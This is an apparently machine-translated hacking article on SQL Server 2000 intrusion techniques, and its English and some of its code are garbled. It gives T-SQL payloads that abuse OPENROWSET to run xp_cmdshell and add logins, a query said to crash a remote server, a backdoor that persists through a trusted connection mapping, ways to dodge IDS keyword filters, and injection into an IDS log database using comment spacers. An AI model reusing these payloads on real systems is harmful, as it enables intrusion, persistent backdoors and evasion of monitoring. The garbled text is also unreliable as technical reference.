Note The SQL injection techniques that are easy to ignore-network security

Next I want to talk about some of SQL Server new bugs, although I after a long period of effort, of course, a bit of the lucky ingredient, only to be able to find, dare not a person alone, take out please identify.

1. About OPENROWSET and OPENDATASOURCE

It is possible that this technique has already been done before, using OPENROWSET to send local commands. Usually our usage is (including MSDN's) as follows:


SELECT * FROM OPENROWSET (' SQLOLEDB ', ' myserver '; Sa '; ', ' select ' From
Table ')

Visible (even in the literal sense) OPENROWSET is only accessed as a shortcut remote database, it must follow the Select, which means that a recordset needs to be returned.


So can we use it to invoke xp_cmdshell? The answer is YES!


SELECT * FROM OPENROWSET (' SQLOLEDB ', ' server '; Sa '; ', ' Set fmtonly off
exec master.dbo.xp_cmdshel l ' dir c:\ ')

Set fmtonly must be added to mask the default settings that return only column information, so that the output collection returned by xp_cmdshell is submitted to the previous select display, and if the default setting is returned, an empty collection will result in a select error and the command cannot be executed.

So if we're going to call sp_addlogin, he's not going to return any of the collections like xp_cmdshell, we can no longer rely on the fmtonly set up, you could do the following


SELECT * FROM OPENROWSET (' SQLOLEDB ', ' server '; Sa '; ', ' select ' ' ok! '
exec master.dbo.sp_addlogin hectic ')

In this way, the command will return at least select ok! ' Collection, your machine Chamber of Commerce shows Ok!, while the other side of the database will also add a hectic account, that is to say, we use

Select ' ok! ' The return collection deceives the local select request, and the command is able to execute normally, as can be done by the sp_addsrvrolemember and OpenDataSource. As for the real use of this method, let's think it over.

2. Questions about the MSDASQL two requests

I do not know if you have tried to connect the remote database with MSDASQL, of course, this API must be SQL Server administrator to call, then the following:


SELECT * FROM OPENROWSET (' Msdasql ', ' Driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;d atabase=master;network=dbmssocn ', ' s
Elect * FROM table1 SELECT * from Table2 ')

When the number of Table1 and table2 fields is different, you will find that the other side of SQL Server crashes, even the local connection will fail, and system resources occupy all normal, with PsKill kill the SQL Server process, if not restart the machine, SQL Server either does not start normally, or often illegal operation, I also just happened to find the bug, the specific reasons I have not yet figured out, and it is strange that this phenomenon only appears on the MSDASQL, SQLOLEDB do not have this problem, It seems that the problem is not the number of requests and return set number does not match, should or msdasql itself, the specific reasons, we study together slowly.

3. Scary back door.

Previously on the internet to see someone say that the back door on SQL Server can be added Triger, jobs or rewrite sp_addlogin and sp_addsrvrolemember do, these methods of course feasible, but it is easy to be found. I wonder if you have ever thought about SQLOLEDB's local connection mapping. Oh, for example, you use SQL Server's administrator account on each other's SQL Server to execute the following command:


SELECT * FROM OPENROWSET (' SQLOLEDB ', ' Trusted_connection=yes;data
Source=hectic ', ' Set fmtonly off exec master. xp_cmdshell ' dir c:\ ')

This creates a local connection map named hectic on each other's SQL Server, and as long as SQL Server does not reboot, this mapping will persist, at least I don't know how to find the connection mappings that others have placed, OK, after the above command runs, You will find that even if SQL Server does not have any permissions to the guest user, running this command can also pass! and permission is localsystem!. (default installation) hehe! This method can be used to leave behind a backdoor to SQL Server that has been hacked to get administrator privileges. The above method is passed on the sqlserver2000 SQLSERVER2000SP1!

There is also a guess, do not know if you have not noticed that Windows default with the two DSN, one is LocalServer one is MSQI, the two are established when the local Administrator account connection to SQL Server, if the other party's SQL Server is started with a custom power user, and the permissions of the SA are as hard as power user, but we pass the following command:


SELECT * FROM OPENROWSET
(' Msdasql ', ' dsn=locaserver;trusted_connection=yes ', ' Set fmtonly off exec
Master.. xp_cmdshell ' dir c:\ ')

You should be able to use the LocalServer administrator account to connect to local SQL Server and then execute the local command with this account's privileges, which I think should be able to break through the SA Power User privilege. The problem now is that SQLOLEDB cannot invoke the DSN connection, and MSDASQL is not allowed to call, so I am now looking for a way for the guest to invoke the MSDASQL.

If someone knows how this bug breaks, or if there is a new idea, we can discuss it together, and this release, if it can be successfully used by the guest, would be a serious security breach. Because any of the SQL statements we mentioned earlier can be submitted to each other's ASP to help us execute.

4. Using T-SQL to cheat IDs or attack IDs

Today's IDs are getting smarter. Some IDs joined the xp_cmdshell sp_addlogin surveillance, but after all, Ai did not appear today, this kind of surveillance is always a deceptive feeling.

First, cheat IDs.

Since IDs monitors xp_cmdshell keywords, then we can do this:


declare @a sysname set @a= "xp_" "Cmdshell" exec @a ' dir c:\ '

This code is believed that everyone can understand, and xp_cmdshell as a store procedure in the Master library has an ID number, fixed, we can do this:
Suppose this id=988456


declare @a sysname select @a=name from sysobjects where id=988456
exec @a ' dir c:\ '

Of course, you can also:


declare @a sysname select @a=name from sysobjects where id=988455 1
exec @a ' dir c:\ '

This approach arranges the combination that IDs simply cannot do to full monitoring. By the same token, sp_addlogin can do so.

Again, attack IDs.

Because the volume of IDs data is large, it is usually backed up to a regular database, such as SQL Server.

Using an old recordset.addnew approach can seriously affect the performance of IDs because it is efficient to make T-SQL requests through ADO, and a portion of the work can be done to SQL Server, which is usually written in the program:


Insert Table VALUES (' Day to content ', ...)

So let's think about it, if you use temp ') exec xp_cmdshell ' dir c:\ '--it will become:


Insert Table VALUES (' Day to content ' ... ' temp ') exec xp_cmdshell ' dir
C:\ '--')

In this way, the xp_cmdshell can be run in the IDs database. Of course IDs is a sniffer, he will catch all the newspapers, and the browser will be submitted when the space into. Therefore, it is committed to SQL Server so that your command cannot be executed. The only way to do this is to:


Insert/**/table/**/values (' Day to content ' ... ' temp ')/**/exec/**/xp_cmdshell/**/' dir c:\ '/**/--')

Use/**/instead of spaces to do spacer characters, so your T-SQL can be executed in the IDs database. Of course, you can use other statements, you can destroy, backup IDs database to your shared directory, hehe.

In fact, the principle of this method and attack ASP is the same, but the space into a/**/. Originally ASP is a SELECT statement, then use ' can be masked. IDS is now masked with an INSERT statement, then with ').

Well, many other new intrusion statements you can think slowly, the best Test tool is Query Analyzer.